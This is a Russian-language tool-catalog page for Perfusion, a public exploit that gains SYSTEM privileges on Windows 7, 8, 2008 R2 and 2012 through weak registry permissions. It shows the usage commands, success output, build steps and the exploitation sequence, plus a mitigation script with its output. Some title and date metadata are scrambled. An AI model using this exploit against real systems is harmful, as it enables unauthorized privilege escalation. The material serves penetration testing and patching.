Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Perfusion — Эксплойт для уязвимости разрешений ключа реестра RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012) | Kitploit
Инструменты/GitHubGitHub/itm4n/perfusion
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеArchived
GitHubitm4n/perfusion

Perfusion

Эксплойт для уязвимости разрешений ключа реестра RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)

Репозиторий
427755 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Perfusion

На Windows 7, Windows Server 2008R2, Windows 8 и Windows Server 2012 ключ реестра служб RpcEptMapper и DnsCache (только для 7/2008R2) настроен со слабыми разрешениями. Любой локальный пользователь может создать подраздел Performance, а затем использовать счетчики производительности Windows, чтобы загрузить произвольную DLL в контексте службы WMI от имени NT AUTHORITY\SYSTEM (отсюда и название инструмента).

Этот инструмент предназначен для помощи консультантам по безопасности во время тестов на проникновение. Данное программное обеспечение предоставляется как есть, и я, вероятно, не буду оказывать никакой поддержки. Тем не менее, я тщательно протестировал его на трех разных виртуальных машинах, поэтому серьезных проблем быть не должно.

Для получения дополнительной информации: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ Обновление от 21.04.2021

Согласно 0patch, эта уязвимость была частично исправлена в апрельском обновлении Windows 2021 года (ESU). Это означает, что машины с обновленной версией Windows 8 / Server 2012 больше не должны быть подвержены эксплуатации. Однако Windows 7 / Server 2008 R2 по-прежнему уязвимы. Вам просто нужно использовать ключ реестра Dnscache вместо RpcEptMapper. Я обновил PoC, чтобы вы могли указать его вручную с помощью опции -k.

Известные проблемы

⚠️ ПРОЧТИТЕ ЭТО ПЕРЕД ИСПОЛЬЗОВАНИЕМ ИНСТРУМЕНТА ⚠️

В процессе разработки этого инструмента я наблюдал два различных поведения:

  1. DLL загружается непосредственно основным процессом службы WMI от имени NT AUTHORITY\SYSTEM — в этом случае эксплойт работает отлично.
  2. DLL загружается дочерним процессом службы WMI, работающим от имени NT AUTHORITY\LOCAL SERVICE. В этом случае служба загружает DLL при олицетворении клиента. Оказывается, повышение привилегий на Windows 7 всё ещё возможно (из-за другой уязвимости), но стоимость реализации не оправдывает усилий.

Я не могу объяснить эту разницу, потому что мой код триггера всегда был одинаковым. В любом случае, в обоих случаях дайте эксплойту выполнить свою работу, чтобы он мог всё очистить после завершения. Если эксплойт не сработает, всё ещё есть вероятность, что он сработает через несколько минут или часов.

✔️ Вот что вы должны увидеть, когда эксплойт срабатывает:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ Вот что вы должны увидеть, когда эксплойт не срабатывает:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

Инструкции по сборке

Это решение состоит из двух проектов, которые необходимо компилировать в определенном порядке. Всё предварительно настроено, поэтому вам просто нужно выполнить следующие простые инструкции:

  1. Откройте решение в Visual Studio 2019
  2. Выберите Release / x64
  3. Build > Build Solution

Использование

Вы можете проверить справочное сообщение с помощью опции -h.

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

Устранение / Патч

Следующие версии Windows уязвимы:

Версия WindowsУязвимые ключи реестра
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

Насколько мне известно, эта уязвимость не будет исправлена Microsoft по некоторым причинам. Лучшее решение — по-прежнему обновление до Windows 10 / Server 2019, но если это невозможно в краткосрочной перспективе, вы можете самостоятельно исправить эту проблему, удалив разрешение CreateSubKey для NT AUTHORITY\Authenticated Users и BUILTIN\Users на следующих ключах реестра:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

Я создал патч для этой уязвимости в виде скрипта PowerShell: RegistryPatch.ps1. Этот скрипт удаляет право CreateSubKey на двух вышеупомянутых ключах реестра для следующих учетных записей: NT AUTHORITY\INTERACTIVE, BUILTIN\Users и/или BUILTIN\Authenticated Users.

  • Проверка уязвимости машины: (здесь Windows Server 2012)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • Применение патча: (здесь Windows Server 2008 R2)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

Как работает этот эксплойт?

Ниже приведены шаги эксплуатации, реализованные в этом инструменте:

  1. Создается процесс в фоновом режиме в приостановленном состоянии (с использованием указанной командной строки).
  2. Встроенная полезная нагрузка DLL записывается в папку Temp текущего пользователя.
  3. Создается ключ Performance в разделе HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper и заполняется соответствующими значениями, включая полный путь к DLL, созданной на шаге 2.
  4. Создается и вызывается класс WMI Win32_Perf для запуска сбора счетчиков производительности Windows.
  5. DLL загружается службой WMI либо как NT AUTHORITY\SYSTEM, либо как NT AUTHORITY\LOCAL SERVICE.
  6. Если DLL загружена NT AUTHORITY\SYSTEM, ее маркер дублируется и применяется к процессу, который был изначально создан пользователем на шаге 1.
  7. Всё очищается, и основной поток приостановленного процесса возобновляется.
Скачать инструмент